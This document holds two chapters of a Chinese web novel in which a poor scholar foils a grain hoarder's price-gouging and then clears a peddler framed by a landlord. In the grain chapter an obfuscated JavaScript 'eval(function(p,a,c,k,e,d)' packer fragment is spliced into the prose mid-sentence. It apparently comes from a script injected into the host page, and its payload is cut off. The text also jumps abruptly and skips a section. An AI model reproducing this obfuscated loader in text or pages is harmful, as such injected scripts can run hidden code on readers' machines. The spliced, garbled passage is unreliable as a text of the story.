如今旱情虽重,但潮州城周边并非颗粒无收,粮价疯涨,根本不是缺粮,是奸商囤粮居奇,趁机抬价,发国难财,吸百姓血。 这种钱,最黑、最毒、最丧天良。 “李剥皮……” 夏雨来缓缓开口,语气平静,却带着一股冷意,“李富贵这是把百姓的活命钱,当成自己的摇钱树了。” 李富贵,李记粮行老板,潮州城最大的粮商,为人吝啬贪婪,心黑如炭,斤斤计较,连一粒米都要刮三层利,人送外号 “李剥皮”。他在潮州城有五家粮店,城郊有三座大粮仓,垄断了大半粮食生意,如今借着旱情,更是肆无忌惮,囤粮抬价,逼得百姓走投无路。 “除了他还有谁?” 阿翠咬牙,“陈老财虽坏,却不敢断百姓活路,这李剥皮是真黑心!听说他把三座粮仓堆得满满当当,还从外地调了不少粮食过来,就是不肯卖,非要等涨到天价才肯出手!” 夏雨来端起茶碗,仰头喝尽,站起身,长衫一拂,眼神清亮如刀:“他要等天价,我就让他等一场空。他要囤粮坑民,我就让他低价放粮,一粒米都赚不到,还要倒贴本钱!” “你要怎么帮?” 阿翠眼睛一亮,像抓住救命稻草。 “不告官,不闹事,不硬碰。” 夏雨来嘴角勾起一抹狡黠的笑,“我给他设个局,用他最贪的东西,治他最黑的心。他不是爱囤粮吗?我就让他囤得越多,亏得越惨;他不是爱抬价吗?我就让他抬得越高,摔得越重。” 说罢,他背着旧书箱,步履从容,朝着李记粮行的方向走去。 一场围绕粮食的斗智大戏,即将在潮州城拉开序幕。 二、奸商抬价,百姓泣血 李记粮行位于东门街最繁华的地段,本该是门庭若市,如今却门可罗雀 —— 不是没人买米,是没人买得起。 粮行门口,摆着一张八仙桌,桌上放着一个斗,斗里插着一块木牌,上面用朱笔写着三个刺眼的大字:米价十五文。 粮行老板李富贵,五十出头,身材微胖,穿一身绸缎长衫,脸上油光锃亮,一双小眼睛滴溜溜转,满是算计。他背着手,站在门口,看着来往百姓焦急的神色,嘴角勾起一抹贪婪的笑。 “掌柜的,能不能便宜点?十五文一斤,实在太贵了!” 一个衣衫褴褛的老妇人,牵着一个瘦骨嶙峋的小孙子,跪在粮行门口,苦苦哀求,“我就剩这点碎银子,求你卖我两斤米,给孩子填填肚子吧!” 李富贵眼皮都不抬,一脚踢开老妇人的手:“去去去!没钱就别来买米!十五文一斤,少一文都不卖!我这米,是给有钱人准备的,不是给你这种穷鬼救济的!” 老妇人被踢倒在地,小孙子吓得哇哇大哭,祖孙俩相拥而泣,哭声凄惨,听得人心头发紧。 周围百姓个个气愤,却敢怒不敢言。 李富贵垄断了粮食生意,不买他的米,就只能挨饿;可买他的米,就要被剥一层皮,甚至倾家荡产。 “李老板,你太黑心了!” 一个年轻汉子忍不住开口,“往日米价才五文一斤,你涨到十五文,这不是把人往死路上逼吗?” “逼死你又怎么样?” 李富贵冷笑一声,双手叉腰,气焰嚣张,“潮州城的粮食,我李富贵说了算!我想卖多少就卖多少,想涨多少就涨多少!你有本事,就别买我的米,饿死算了!” 年轻汉子气得浑身发抖,却无可奈何,只能恨恨地转身离去。 李富贵得意洋洋,对着围观百姓高声喊道:“告诉你们,旱情还得持续三个月,粮食只会越来越少,米价只会越来越高!现在不买,再过几日,就是三十文一斤,你们想买都买不到!” 这番话,像一颗炸弹,炸得百姓更加恐慌。 有人咬咬牙,拿出积攒多年的碎银子,买了几斤米;有人实在没钱,只能眼睁睁看着粮行,眼泪直流。 李富贵看着手里的银子,笑得眼睛都眯成了一条缝。 他心里打得算盘噼啪响: 囤粮! 继续囤粮! 把所有粮食都囤起来,等粮价涨到三十文、五十文一斤,再一次性抛售,到时候,整个潮州城的银子,都要流进他的口袋! 他哪里知道,这一切,都被不远处的夏雨来,看得一清二楚。 夏雨来站在人群外围,看着李富贵嚣张的嘴脸,看着百姓绝望的泪水,眼神越来越冷。 对付这种贪婪至极的奸商,讲道理没用,硬碰硬没用,只能用贪婪治贪婪,用计谋破计谋。 他转身离开,脚步从容,心中已有了一个周密的计划 —— 第一计:虚张声势,抬价诱粮; 第二计:散布谣言,乱其心神; 第三计:联合乡绅,釜底抽薪。 三计连环,环环相扣,定要让李剥皮低价放粮,赔本赚吆喝,还要让他在潮州城,彻底名声扫地。 三、第一计:虚张声势,抬价诱粮 当日下午,潮州城忽然传出一个惊人的消息: 府衙要高价收粮!每斤二十文! 消息像长了翅膀,飞快地传遍了潮州城的大街小巷,传到了每个粮商的耳朵里。 “听说了吗?府衙要收粮,二十文一斤!比李剥皮的还贵五文!” “真的假的?府衙怎么突然高价收粮?” “千真万确!我听衙门口的差役说的,明天就开始收购,收够一万石为止!” 百姓议论纷纷,半信半疑;而粮商们,却炸开了锅。 李记粮行后院,李富贵正和几个心腹粮商喝酒,听到消息,瞬间僵住。 “李老板,这消息是真的吗?” 一个粮商急道,“府衙高价收粮,咱们要不要把粮食卖给府衙?二十文一斤,比咱们现在卖的还贵,能赚不少啊!” 李富贵皱着眉头,端着酒杯的手停在半空,心里犯起了嘀咕。 府衙高价收粮? 这事儿透着古怪。 可二十文一斤的价格,实在太诱人了 —— 比他现在卖的十五文还高,若是把囤的粮食都卖给府衙,能赚两倍的利! “会不会是陷阱?” 另一个粮商迟疑道,“夏雨来那个穷秀才,最近风头正劲,会不会是他搞的鬼?” “他一个穷秀才,能有这么大本事?” 李富贵冷笑一声,摇了摇头,“府衙收粮,是官府行为,他一个秀才,还能左右官府?我看,是真的缺粮了。” 他放下酒杯,站起身,在屋里踱来踱去,小眼睛里满是贪婪与算计。 卖? 还是不卖? 卖了,能立刻赚钱,二十文一斤,利润丰厚; 不卖,等粮价涨到三十文、五十文,能赚更多。 就在他犹豫不决时,一个心腹匆匆跑进来,满脸兴奋:“老板!好消息!府衙已经贴出告示了!真的是二十文一斤收粮,明天在码头开仓收购,收够一万石为止!” “告示都贴了?” 李富贵眼睛一亮,贪婪瞬间战胜了疑虑,“好!太好了!” 他猛地一拍桌子,哈哈大笑:“天助我也!府衙高价收粮,咱们就把陈米卖给府衙,新米继续囤着!等府衙收够粮食,百姓没地方买米,我再把新米涨到五十文一斤,到时候,我就是潮州城的土皇帝!” “老板英明!” 几个粮商纷纷附和,笑得合不拢嘴。 李富贵立刻吩咐:“来人!把粮仓里的陈米,全部装船,明天一早,运到码头,卖给府衙!记住,一定要装作是新米,别让官府看出破绽!” “是!老板!” 心腹连忙应下,快步跑了出去。 李富贵得意洋洋,又端起酒杯,一饮而尽。 他仿佛已经看到,白花花的银子,源源不断地流进自己的口袋,潮州城的百姓,都要跪在他面前,求他卖米。 而这一切,都在夏雨来的预料之中。 告示,是夏雨来托人写的; 消息,是夏雨来让茶摊、酒馆的老板故意散布的; 甚至衙门口的差役,也是夏雨来用几两银子买通,故意 “泄露” 消息的。 他要的,就是李富贵的贪婪。 贪婪,是奸商最大的弱点; 贪婪,能让他失去理智; 贪婪,能让他一步步,走进自己设下的陷阱。 四、第二计:散布谣言,乱其心神 次日清晨,天刚蒙蒙亮,潮州城码头就热闹起来。 李富贵的粮船,浩浩荡荡,装满了陈米,停靠在码头边;其他几个小粮商,也带着粮食,陆续赶来。 可等了半天,也没见府衙的人来收粮。 “怎么回事?府衙的人呢?” 李富贵皱着眉头,心里有些发慌。 “老板,会不会是消息有误?” 心腹小心翼翼地问道。 “不可能!告示都贴了,差役也说了!” 李富贵强装镇定,“再等等,官府办事,难免拖沓。” 又等了一个时辰,太阳已经升得老高,码头依旧没有府衙的人影。 其他粮商也慌了,围在李富贵身边,议论纷纷。 “李老板,这不会是假的吧?” “咱们把粮食都运来了,要是官府不收,这可怎么办?” “粮食堆在码头,要是受潮发霉,损失就大了!” 李富贵心里也开始打鼓,额头上冒出了冷汗。 他正想派人去府衙问问,忽然,一个消息传来,让他瞬间如遭雷击: “不好了!李老板!府衙的告示是假的!是夏雨来那个穷秀才伪造的!” “什么?!” 李富贵猛地转身,死死抓住报信人的衣领,“你再说一遍!告示是假的?” “是真的!” 报信人吓得浑身发抖,“府衙根本没有高价收粮的打算!告示是夏雨来找人伪造的,差役也是他买通的!现在,府衙已经派人把告示撕了,还在追查伪造告示的人呢!” 李富贵只觉得天旋地转,双腿一软,差点瘫倒在地。 假的! 全是假的! 自己竟然被一个穷秀才,耍得团团转! 他囤积的陈米,全部运到了码头,若是再运回去,不仅要花运费,还可能受潮发霉;若是就地抛售,现在米价已经被他抬到十五文,百姓根本买不起,只能低价处理,亏得血本无归! “夏雨来!我□□祖宗!” 李富贵气急败坏,对着码头方向,破口大骂,“你这个穷酸秀才!敢耍我!我跟你没完!” 就在他暴怒之际,又一个更坏的消息传来: “老板!不好了!城外的粮船到了!是从福建来的,运了足足五千石粮食,已经停靠在西码头,正在低价抛售,每斤只要八文!” “什么?!” 李富贵彻底傻眼了。 五千石粮食! 八文一斤! 这意味着,他囤积的粮食,瞬间变得一文不值! 若是福建粮商把粮食铺满潮州城,他的粮食别说五十文一斤,就是五文一斤,都没人买! 他哪里知道,这五千石粮食,根本不是从福建来的,是夏雨来联合潮州城几个正直的乡绅,凑钱从邻县买来的。 乡绅们虽然有钱,但也看不惯李富贵囤粮抬价、坑害百姓,一听夏雨来的计划,立刻答应合作,出钱出力,只为平抑粮价,救百姓于水火。 李富贵彻底慌了,像热锅上的蚂蚁,在码头踱来踱去,满头大汗,六神无主。 “老板,怎么办?福建粮商低价抛售,咱们的粮食就砸手里了!” 心腹急得团团转。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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李富贵眼睛通红,像一头疯狗,“只要粮食没了,咱们就能赚大钱!到时候,就算官府追查,咱们也能花钱摆平!快去!” 心腹们不敢违抗,只能点头答应,偷偷溜了出去。 李富贵以为,这一切做得神不知鬼不觉。 可他哪里知道,他的一举一动,都被夏雨来派去的人,看得清清楚楚。 夏雨来早就料到,李富贵会狗急跳墙,做出极端的事情。 他提前联合了潮州城的乡绅,又找到了府衙的王捕快,把李富贵囤粮抬价、伪造告示、意图烧粮船的事情,一五一十地说了一遍。 王捕快本就看不惯李富贵的所作所为,一听这话,立刻拍案而起:“好个李剥皮!竟敢如此无法无天!本官这就带人去抓他!” 乡绅们也纷纷开口:“王捕快,我们愿意作证!李富贵囤积居奇,坑害百姓,罪该万死!” 当晚,李富贵的几个心腹,刚摸到西码头,准备放火,就被埋伏在那里的捕快,抓了个正着。 人赃并获,证据确凿。 李富贵正在粮行里做着发财的美梦,忽然,粮行大门被一脚踹开,王捕快带着捕快,冲了进来,一把抓住李富贵的衣领,厉声呵斥:“李富贵!你涉嫌囤粮抬价、伪造官府告示、意图纵火焚烧粮船,跟我回府衙受审!” 李富贵吓得魂飞魄散,双腿一软,跪倒在地:“王捕快!冤枉啊!我没有!我是被冤枉的!” “冤枉?” 王捕快冷笑一声,拿出证据,“人证物证俱在,你还敢狡辩?带走!” 捕快们架起李富贵,就往外走。 李富贵一路哭喊,挣扎,却无济于事。 粮行里的粮食,被官府查封。 夏雨来联合乡绅,向官府提议,将李富贵囤积的粮食,以每斤五文的原价,低价抛售给百姓,缓解粮荒。 官府同意了。 消息传出,潮州城百姓一片欢腾。 百姓们纷纷涌向李记粮行,排队购买低价粮食,脸上露出了久违的笑容。 老妇人牵着小孙子,买了十斤米,对着夏雨来连连作揖:“夏秀才,你真是我们的救命恩人!没有你,我们祖孙俩早就饿死了!” 年轻汉子买了粮食,激动地喊道:“夏秀才,你太厉害了!把李剥皮那个奸商,整治得服服帖帖!” 夏雨来站在粮行门口,看着百姓们欢喜的笑脸,心里一片澄明。 他不要功名,不要利禄,不要银子。 他只要百姓能吃饱饭,能安稳过日子,能不受奸商的欺压。 这,就够了。 六、市井传扬,智斗留名 李富贵被抓进大牢,判了重刑,家产被抄,粮行被官府没收,潮州城的粮食市场,终于恢复了正常。 福建粮商的粮食,也以平价出售,粮价稳定在五文一斤,百姓再也不用为吃饭发愁。 东门街的市井烟火,又重新热闹起来。 茶摊、酒馆、粮行,又恢复了往日的喧嚣,百姓们脸上,也重新露出了笑容。 阿翠端着一碗热茶,走到夏雨来面前,眼睛亮晶晶的,满眼都是崇拜:“夏雨来,你真是太厉害了!三计连环,把李剥皮那个奸商,耍得团团转,最后还让他低价放粮,真是大快人心!” 夏雨来接过茶碗,仰头喝尽,笑道:“不是我厉害,是奸商太贪婪,是百姓太齐心,是公道自在人心。李剥皮之所以会输,是因为他只想着自己赚钱,忘了百姓的死活;而我之所以能赢,是因为我站在百姓这边,站在公道这边。” 他望向眼前热热闹闹的街市,声音清朗:“阿翠娘子,你看。 奸商可治, 粮荒可解, 百姓可安, 公道可存。 只要我夏雨来在潮州城一日, 就不许有人囤粮抬价, 不许有人坑害百姓, 不许有人发国难财, 不许有人断百姓活路。” 风一吹,他的青布长衫轻轻摆动。 穷秀才的身影,在日光里,挺拔如竹,安稳如山。 自此,夏雨来 “三计斗奸商、低价放粮救百姓” 的故事,传遍了潮州城的大街小巷,成为市井百姓口中,最传奇、最解气、最让人敬佩的一段佳话。 百姓都说: “夏秀才,智谋高, 三计连环斗奸商, 囤粮抬价全白费, 低价放粮救万民。” 而鬼才秀才夏雨来的市井侠义传奇,仍在继续,愈发光彩夺目,深入人心。 19. 栽赃陷害 一、街市初安,毒计暗生 暮春的潮州城,一场粮荒刚过,东门街的烟火气总算慢慢回笼。青石板被雨水润得发亮,茶摊的吆喝、粮行的算盘、杂货铺的叫卖,织成一片热热闹闹的市井声浪。百姓们刚从囤粮抬价的恐慌里喘过气,脸上都带着劫后余生的安稳 —— 毕竟有夏雨来在,奸商不敢作乱,劣绅不敢横行,这街市就有定心丸。 夏雨来依旧是那身洗得发白的青布长衫,背着旧书箱,清晨踱到阿翠的茶摊时,茶桌已经坐满了人。阿翠手脚麻利地斟茶递水,眼尾含笑,声音清亮:“夏雨来,你可算来了!这几日街市太平,多亏了你治服李剥皮,现在连陈老财都安分了不少,听说闭门谢客,再没敢出来惹事。” 夏雨来指尖摩挲着温热的瓷碗,目光扫过街市,笑意淡了几分:“安分?陈老财这种人,吃了亏只会记恨,不会悔改。他上回强抢铺面不成,又被官威震慑,心里的怨气早憋成了毒,迟早要找地方发泄。” 话音刚落,街西头忽然传来一阵急促的喧哗,夹杂着打骂声和哭喊声,像一块石头砸进平静的湖面,瞬间打破了街市的安宁。 “不好了!打人了!陈府的人打人了!” “快来看啊!陈老财说王二偷了他的货,要把他往死里打!” 百姓们闻声而动,纷纷朝着喧哗处涌去,茶摊瞬间空了大半。阿翠脸色一变,拉住夏雨来:“是王二!他是个老实本分的货郎,走街串巷卖些针头线脑,怎么会偷陈老财的东西?肯定是陈老财故意找茬!” 夏雨来眼神一沉,放下茶碗,长衫一拂:“我就说他不会安分。走,去看看。” 一场精心策划的栽赃陷害,正在东门街上演;一场关乎清白与公道的斗智较量,即将拉开序幕。 二、栽赃上门,小贩蒙冤 街西头的空地上,早已围得水泄不通。 王二被两个凶神恶煞的家丁按在地上,嘴角淌着血,衣衫被扯得稀烂,脸上满是伤痕,却依旧死死咬着牙,嘶吼道:“我没有偷!我根本没见过什么绸缎!陈老财,你是故意栽赃我!” 他面前,陈老财一身锦缎长衫,背着手站着,面色阴鸷,眼神里满是恶毒的算计。管家周福站在一旁,手里拎着一个鼓鼓囊囊的绸缎包裹,对着围观百姓高声喊道:“大家都看清楚了!这匹上好的云锦,是我家老爷准备送给知府大人的贺礼,价值百两白银!昨天夜里,就被这个贼子王二偷偷潜入府中盗走!若不是老爷今早发现得早,派我们追了三条街,这珍贵的贺礼就被他拿去变卖了!” 周福说着,把包裹扔在地上,锦缎散开,果然是一匹色泽鲜亮、绣工精美的云锦,边角处还绣着一个小小的 “陈” 字标记。 “百两白银?我的天!” “王二胆子也太大了,竟敢偷陈老财的东西?” “可王二看着挺老实的,不像做贼的人啊……” 百姓们议论纷纷,眼神里满是惊疑。 王二气得浑身发抖,挣扎着想要爬起来,却被家丁死死按住:“我没有!昨晚我一直在城南的破庙里过夜,跟几个货郎一起,他们都能作证!这云锦根本不是我偷的,是你们故意放在我担子底下的!” “放屁!” 周福上前一步,一脚踹在王二胸口,“人赃并获,你还敢狡辩?我们今早就是在你货郎担子的夹层里找到这匹云锦的,周围街坊都看见了,你还想抵赖?” 周围几个被周福提前收买的闲汉立刻附和:“是啊!我们都看见了!云锦就是从他担子底下搜出来的!” “王二,你就认了吧!偷了陈老爷的东西,还想狡辩?” 王二看着那些颠倒黑白的闲汉,又看着陈老财阴鸷的脸,瞬间明白过来 —— 自己被算计了! 他绝望地哭喊着:“我没有!我是被冤枉的!陈老财,你为什么要陷害我?” 陈老财冷笑一声,缓缓开口,声音冰冷刺骨:“为什么?因为你不识抬举!上回我强占方记铺面,你竟敢跟着夏雨来那个穷秀才一起起哄,骂我仗势欺人!老夫记恨你很久了!今日就是要让你身败名裂,尝尝牢狱之灾的滋味!” 原来如此! 百姓们瞬间恍然大悟。 陈老财是因为记恨王二曾经帮着夏雨来反对他,所以故意设下这个圈套,栽赃陷害,既想报复王二,又想借机打压夏雨来的气焰 —— 他要让百姓知道,跟夏雨来混,没有好下场! 王二彻底绝望了,眼泪混合着血水,从脸上淌下来:“我没有骂你…… 我只是说了句公道话……” “公道话?” 陈老财眼神一狠,抬手一挥,“来人!把这个贼子绑起来,送到府衙去!我要让他在大牢里待一辈子,永世不得翻身!” 家丁们立刻拿出绳索,就要把王二绑起来。 王二挣扎着,朝着人群中高声喊道:“夏秀才!夏秀才你在哪里?我被冤枉了!求你救救我!” 他的声音凄厉绝望,听得百姓们心里发酸。 可谁也不敢上前阻拦 —— 陈老财势大,谁也不想引火烧身。 就在这千钧一发之际,人群忽然分开一条通道,一个清亮沉稳的声音传来: “慢着!” 夏雨来背着旧书箱,步履从容地走了出来,挡在了王二面前,眼神平静却带着一股不容置疑的力量:“陈老爷,凡事要讲证据。你说王二偷了你的云锦,可有真凭实据?仅凭这匹从他担子底下搜出来的绸缎,就定他的罪,未免太过草率了吧?” 陈老财看到夏雨来,眼中闪过一丝阴狠,随即冷笑:“夏雨来,又是你!怎么?这个贼子偷了我的东西,你还要为他求情?” “不是求情,是求公道。” 夏雨来淡淡开口,“王二是真是假,不能凭你一句话说了算,也不能凭这匹来路不明的云锦说了算。官府断案,讲究人证物证俱在,你若真要送他见官,不如先让我问问清楚,免得冤枉了好人,让真正的盗贼逍遥法外。” 他转头看向王二,语气温和:“王二,你仔细说说,昨晚你到底在哪里?有没有人能为你作证?” 王二像是抓住了救命稻草,连忙说道:“夏秀才,我昨晚一直在城南的破庙里过夜,跟张老栓、李三几个货郎一起,我们今早天不亮就分开各自赶集,他们都能证明我没有偷东西!” “是吗?” 陈老财立刻反驳,“谁知道你是不是跟他们串通好了!空口无凭,谁会信你?” “空口无凭?” 夏雨来嘴角勾起一抹狡黠的笑,“陈老爷,你说这云锦是你的贺礼,可有什么标记能证明?总不能凭你一句话,就说它是你的吧?” 陈老财指着云锦边角的 “陈” 字:“这上面绣着我陈家的标记,这就是最好的证明!” “标记?” 夏雨来弯腰拿起云锦,仔细看了看,忽然笑道,“陈老爷,你这标记,未免太过草率了吧?这‘陈’字绣得歪歪扭扭,线色也与云锦本身的丝线不符,明显是后来绣上去的。而且,这云锦的边缘,有明显的折痕,像是被人故意折叠后塞进担子夹层的,根本不像是被盗走的样子。” 一番话,说得陈老财脸色微变。 夏雨来继续说道:“更重要的是,王二是个走街串巷的货郎,他的担子狭小,只能装些针头线脑、小玩意儿,这匹云锦长宽数尺,要想藏在担子夹层里不被发现,几乎不可能。除非,是有人故意把它塞进去,栽赃陷害。” 百姓们纷纷点头:“夏秀才说得有道理!王二的担子那么小,怎么可能藏下这么大一匹云锦?” “而且那‘陈’字确实绣得不好,看着就像是后来加上去的!” 陈老财脸色一阵青一阵白,强装镇定:“一派胡言!这云锦就是我的!你要是再敢胡言乱语,老夫连你一起送官!” “送官可以,但在送官之前,我还有一个问题要问你。” 夏雨来眼神一凛,“陈老爷,你说这云锦是你准备送给知府大人的贺礼,价值百两白银。如此珍贵的东西,你必定会妥善保管,怎么会轻易被王二偷走?你府中戒备森严,家丁众多,王二一个手无缚鸡之力的货郎,又是如何潜入你府中,神不知鬼不觉地偷走这匹云锦的?” 这个问题,一下子问住了陈老财。 他愣了半天,才支支吾吾地说道:“我…… 我府中昨晚恰好疏于防备,被这贼子钻了空子!” “疏于防备?” 夏雨来冷笑,“陈老爷,你可是潮州城的头号乡绅,府中深宅大院,院墙高达数丈,还有家丁日夜巡逻,怎么可能‘疏于防备’到让一个货郎轻易潜入?而且,你今早发现云锦被盗,为何不先报官,反而派家丁直接去追王二?你怎么知道就是王二偷的?难道你未卜先知?” 一连串的问题,像连珠炮一样,打得陈老财措手不及,脸色越来越难看。 百姓们也看出了破绽,议论声越来越大:“对啊!陈老财怎么知道就是王二偷的?” “肯定是他早就策划好的,故意栽赃王二!” “太黑心了!就因为人家说了句公道话,就这么陷害人家!” 陈老财气得浑身发抖,却无言以对。 他没想到,夏雨来竟然如此难缠,一眼就看穿了他的破绽。 三、第一计:查赃辨伪,寻迹溯源 夏雨来看着陈老财慌乱的神色,心中已然明了 —— 这确实是一场栽赃陷害。 他知道,要还王二清白,光靠口头辩驳没用,必须找到实打实的证据。 而这匹云锦,就是最关键的突破口。 夏雨来抱着云锦,对围观百姓说道:“诸位乡亲,这匹云锦是真是假,是不是陈老爷的东西,我们说了都不算。但凡事都有痕迹,这云锦上必定藏着真相。我先带王二和这匹云锦,去城南找张老栓、李三几位货郎核实情况,再去绸缎庄问问这云锦的来历。若真是陈老爷的东西,我们绝不包庇;若真是栽赃陷害,我们也必定要还王二一个清白!” 陈老财立刻阻拦:“不行!这云锦是我的赃物,不能让你带走!” “赃物?” 夏雨来挑眉,“在官府定案之前,它还不能算是赃物。而且,我带着它去查证,也是为了还你一个公道,难道你不想抓住真正的盗贼吗?” 他转头看向王捕快 —— 不知何时,王捕快已经闻讯赶来,站在人群外围。 “王捕快,” 夏雨来拱手道,“今日之事,疑点重重,还请你一同前往查证,也好做个见证。若真是王二偷的,我绝不阻拦你带他归案;若真是栽赃陷害,还请你为百姓做主,惩治真凶。” 王捕快本就看不惯陈老财的所作所为,见状立刻点头:“好!夏秀才说得有理!我就跟你一起去查证,定要查个水落石出!” 陈老财见状,心里暗暗着急 —— 他知道,这云锦根本不是他准备送给知府大人的贺礼,而是他昨天从绸缎庄买来的普通云锦,故意绣上 “陈” 字,用来栽赃王二的。若是让夏雨来去绸缎庄一问,真相就会大白。 可事到如今,他也只能硬着头皮说道:“去就去!我倒要看看,你能查出什么花样!” 一行人浩浩荡荡,朝着城南走去。 路上,夏雨来悄悄问王二:“王二,你再仔细想想,昨天有没有见过什么可疑的人?或者有没有人故意接近你的担子?” 王二仔细回想了半天,忽然眼睛一亮:“对了!昨天下午我在街口摆摊的时候,陈府的家丁周福来过,他假装买东西,在我的担子旁边磨蹭了半天,还故意碰倒了我的货筐。当时我没在意,现在想来,他肯定是那个时候,把云锦塞进我担子夹层里的!” “周福?” 夏雨来眼神一沉,“果然是他。” 到了城南的破庙,张老栓、李三等人正在收拾货担,准备去别的地方赶集。看到王二和夏雨来一行人,连忙迎上来。 “王二!你怎么了?脸上怎么都是伤?” 张老栓惊讶地问道。 王二委屈地把事情的经过说了一遍。 张老栓等人立刻怒不可遏:“岂有此理!陈老财太黑心了!王二昨晚一直跟我们在一起,根本就没离开过破庙!我们可以作证!” 李三也说道:“是啊!昨晚我们还一起喝酒聊天,聊到半夜才睡,王二就睡在我旁边,怎么可能去偷东西?这分明是栽赃陷害!” 王捕快问道:“你们所言属实?愿意跟我回府衙作证吗?” “属实!我们愿意作证!” 张老栓等人异口同声地说道,“就算是上公堂,我们也敢这么说!” 人证有了,接下来就是物证。 夏雨来带着一行人,又来到了潮州城最大的绸缎庄 ——“锦华堂”。 绸缎庄老板看到夏雨来怀里的云锦,立刻认出:“这匹云锦是我店里的!昨天下午,陈府的管家周福来买的,说是要做件新衣服。我记得清清楚楚,这是普通的云锦,价值不过十两白银,根本不是什么价值百两的珍贵云锦!” 真相,瞬间大白! 陈老财买的根本不是什么价值百两的贺礼云锦,而是普通的十两白银的云锦,用来栽赃王二的! 陈老财脸色惨白,浑身发抖,指着绸缎庄老板骂道:“你胡说!我什么时候买过你的普通云锦?这明明是我家祖传的珍贵云锦!” 绸缎庄老板拿出账本,翻开给众人看:“我没有胡说!这是账本,上面清清楚楚地记着,昨天下午,周福买了一匹普通云锦,付了十两白银,还有他的签字画押!” 众人一看账本,上面果然有周福的签名和手印,日期、金额、物品,一应俱全。 王捕快脸色一沉,看向陈老财:“陈老财,现在证据确凿,你还有什么话说?这匹云锦根本不是你祖传的珍贵云锦,而是你买来栽赃王二的普通云锦!你还不认罪?” 陈老财还想狡辩:“我没有!是他们串通好陷害我!” “陷害你?” 夏雨来冷笑,“那你说说,你准备送给知府大人的贺礼云锦,现在在哪里?若是真有那么一匹价值百两的云锦,你府中必定有记录,或者绸缎庄也必定有售卖记录,你敢拿出来看看吗?” 陈老财哑口无言 —— 他根本就没有什么价值百两的贺礼云锦,自然拿不出任何记录。 四、第二计:引蛇出洞,自露马脚 陈老财见人证物证俱在,知道自己的栽赃计划已经败露,心里开始盘算着如何脱身。 他眼珠一转,忽然哭喊道:“冤枉啊!王捕快!夏秀才!我承认,这匹云锦确实是我买来的普通云锦,不是什么珍贵贺礼。但我也是被人误导了!我听周福说,王二偷了我家的东西,我一时气愤,才想出这个办法教训他一下,我真的不是故意要栽赃陷害他的!” 他把责任全部推到周福身上:“都是周福!是他谎报军情,说 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周福一开始还想狡辩,但在知县大人的严厉审讯和证据面前,他很快就心理防线崩溃,把真相全盘托出: “大人!冤枉啊!都是陈老财让我做的!他因为记恨王二上回帮着夏雨来反对他强占铺面,就想栽赃陷害王二,让他身败名裂。昨天下午,他让我去绸缎庄买一匹普通云锦,绣上‘陈’字,再趁王二不注意,把云锦塞进他的担子夹层里。今天一早,又让我带着家丁去‘抓贼’,还收买了几个闲汉作证。这一切都是陈老财策划的,我只是奉命行事!” 知县大人又审问陈老财。 陈老财见周福已经招供,知道再也无法隐瞒,只能低头认罪:“大人,我认罪…… 我确实是因为记恨王二,才故意栽赃陷害他的。我一时糊涂,求大人饶我这一次!” 知县大人脸色一沉,拍案而起:“陈老财!你身为乡绅,本该以身作则,体恤百姓,却因一己私怨,栽赃陷害良民,扰乱市井秩序,其罪当罚!” 他宣判道:“本府判决如下:陈老财栽赃陷害,罚银百两,赔偿王二的损失;周福协同作案,杖责三十,逐出潮州城;王二清白无辜,当庭释放!” 判决一出,百姓们一片欢腾! “好!知县大人英明!” “终于还王二清白了!” “陈老财活该!早就该治治他了!” 王二跪在地上,对着知县大人和夏雨来连连磕头:“谢谢大人!谢谢夏秀才!你们是我的救命恩人!” 夏雨来扶起他,笑道:“起来吧!你本就清白,这是你应得的公道。” 五、第三计:市井立规,以儆效尤 虽然真相大白,陈老财也受到了惩罚,但夏雨来知道,这还远远不够。 陈老财之所以敢如此肆无忌惮地栽赃陷害,就是因为他觉得自己有钱有势,可以只手遮天。要想让市井真正太平,让百姓不再受欺压,就必须让这些劣绅知道,百姓的清白不容践踏,市井的公道不容亵渎。 夏雨来在东门街的空地上,召集了所有百姓,还有潮州城的乡绅和商户。 他站在高台上,手里拿着那匹用来栽赃的云锦,对着众人说道:“诸位乡亲,各位乡绅、商户,今日王二被栽赃陷害一事,想必大家都已经知道了。陈老财因为一己私怨,就不惜毁掉一个百姓的清白,毁掉一个家庭的活路,这种行为,天理难容,国法难饶!” 他举起云锦,继续说道:“这匹云锦,价值十两白银,却差点毁掉一个人的一生。可见,清白对于一个百姓来说,比金银珠宝还要珍贵!从今往后,我希望大家都能记住: 第一,做人要守底线。无论有钱有势,还是贫穷卑微,都不能为了一己私利,陷害他人,践踏他人的清白。 第二,做事要讲证据。无论是断案还是处事,都要以证据为依据,不能仅凭一面之词,就定人是非,判人对错。就像古代断案,物证、书证、人证缺一不可,单凭口供不能定罪。 第三,百姓要齐心。面对欺压和不公,我们不能忍气吞声,不能胆小怕事。只要我们团结一心,坚守公道,就能让恶者不敢横行,让弱者得到保护。” 夏雨来的话,说得百姓们热血沸腾,纷纷鼓掌叫好。 几个正直的乡绅也站出来说道:“夏秀才说得对!我们乡绅,本该为百姓谋福利,而不是欺压百姓。从今往后,我们一定以身作则,坚守公道,绝不做伤天害理之事!” 商户们也纷纷表态:“我们商户,一定诚信经营,公平交易,绝不坑蒙拐骗,绝不仗势欺人!” 陈老财站在人群中,脸色通红,羞愧难当。他没想到,自己的一次栽赃陷害,竟然让夏雨来借机在市井中立下了规矩,让自己成了反面教材。 夏雨来最后说道:“诸位乡亲,公道自在人心,天理昭昭,报应不爽。只要我们坚守底线,坚守公道,团结一心,就没有什么能打倒我们,就没有什么能破坏我们的市井安宁!” 百姓们齐声高呼:“坚守公道!团结一心!” 呼声震天,回荡在东门街的上空。 这一刻,夏雨来在百姓心中的地位,更加崇高;市井的公道,也更加深入人心。 六、清白昭雪,侠义传扬 王二的清白被还,陈老财受到了应有的惩罚,东门街又恢复了往日的安宁。 王二重新做起了货郎生意,百姓们纷纷照顾他的生意,还主动为他作证,帮他洗刷冤屈。他的担子前,总是围满了人,生意比以前还要红火。 阿翠端着一碗热茶,走到夏雨来面前,眼睛亮晶晶的,满眼都是崇拜:“夏雨来,你真是太厉害了!三言两语就看穿了陈老财的破绽,又一步步找到证据,还王二一个清白,最后还在市井中立下了规矩,以儆效尤!你这脑子,到底是怎么长的?” 